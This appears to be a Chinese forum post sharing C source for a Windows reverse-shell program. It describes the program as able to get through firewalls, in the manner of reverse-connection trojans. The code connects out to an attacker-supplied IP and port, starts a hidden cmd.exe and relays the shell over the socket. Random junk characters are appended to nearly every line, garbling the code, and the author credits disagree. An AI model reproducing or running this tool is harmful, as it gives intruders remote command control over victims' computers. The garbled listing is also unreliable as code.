Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 
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/* ============================== ]Wy V bIu  
Rebound port in Windows NT *wSl~J|ZM%  
By wind,2006/7 y'+^ ME$H  
===============================*/ jf%Ydr}`  
#include k5ZwGJ#r  
#include =W4cWG?+  
d[S!e`,iD  
#pragma comment(lib,"wsock32.lib") ,:v}gS?Uq  
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void OutputShell(); t4JGd)r  
SOCKET sClient; J,q:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $>BP}V33  
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void main(int argc,char **argv) qM9GW`CKA  
{ Nh+$'6yT%  
WSADATA stWsaData; b;}MA7=  
int nRet; t7~mW$}O  
SOCKADDR_IN stSaiClient,stSaiServer; nY*OD
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if(argc != 3) qQom=x  
{ w?5b:W
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printf("Useage:\n\rRebound DestIP DestPort\n"); |Jq/kmn  
return; >kB?C!\  
} QUe.vb^O  
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WSAStartup(MAKEWORD(2,2),&stWsaData); OE[/sv  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z os~1N]3  
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stSaiClient.sin_family = AF_INET; \u)(+t{  
stSaiClient.sin_port = htons(0); ("TI~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2+^#<Uok  
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printf("Bind Socket Failed!\n"); u_[Zu8  
return; kPxEGuL'  
} 7v
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stSaiServer.sin_family = AF_INET; J

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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PCU6E9~t2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *".7O*jjV  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BPPhVE  
{ 7;_5[_  
printf("Connect Error!"); I#,,h4C  
return; <bid 6Q0|  
} QK@z##U  
OutputShell(); zMG4oRPP  
} "90}H0(+  
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.c[  
void OutputShell() .O,gl$y}  
{ hrW.TwK  
char szBuff[1024]; &3^40s/+  
SECURITY_ATTRIBUTES stSecurityAttributes; V}JW@  
OSVERSIONINFO stOsversionInfo; T|}HK]QOX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .6tz ^4  
STARTUPINFO stStartupInfo; /!
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char *szShell; y.~5n[W  
PROCESS_INFORMATION stProcessInformation; <8y8^m`P9  
unsigned long lBytesRead; 6[CX[=P30  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [mwfgh&4%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "~Eo=R0O  
stSecurityAttributes.lpSecurityDescriptor = 0; |[:`izW  
stSecurityAttributes.bInheritHandle = TRUE; }8FP5Z'Cf%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G%>[I6G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x7/2e{p uu  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Bq_<v)M*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F{}z[0  
stStartupInfo.wShowWindow = SW_HIDE; sn*s7v:  
stStartupInfo.hStdInput = hReadPipe; l9<+4rK2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `^6}Dn  
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GetVersionEx(&stOsversionInfo); d82IEhZ#  
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switch(stOsversionInfo.dwPlatformId) ~{N|("nB  
{ l/1uP  
case 1: v` B_xEl  
szShell = "command.com"; +I/P5OGRN  
break; aE;!mod  
default: ^@)+P/&
 
szShell = "cmd.exe"; Y
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break; xWlB!r<}Gz  
} ]]]7"a  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UIyOn` d"  
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send(sClient,szMsg,77,0); c#rbyx?5  
while(1)
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{ 6qw_|A&g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [Y:HVr,  
if(lBytesRead) --]\z*x  
{ ~
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "zv+|_ZAfd  
send(sClient,szBuff,lBytesRead,0); $]hf2Yr(  
} ElYHA  
else fG.w;Aemv5  
{ NyGF57v[M  
lBytesRead=recv(sClient,szBuff,1024,0); bLUn0)c  
if(lBytesRead<=0) break; hMDyE.X-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D_8hn3FH  
} Jv7M[SJ#x  
} 9np<r82  
W]R5\G*  
return; gG$o8c-  
}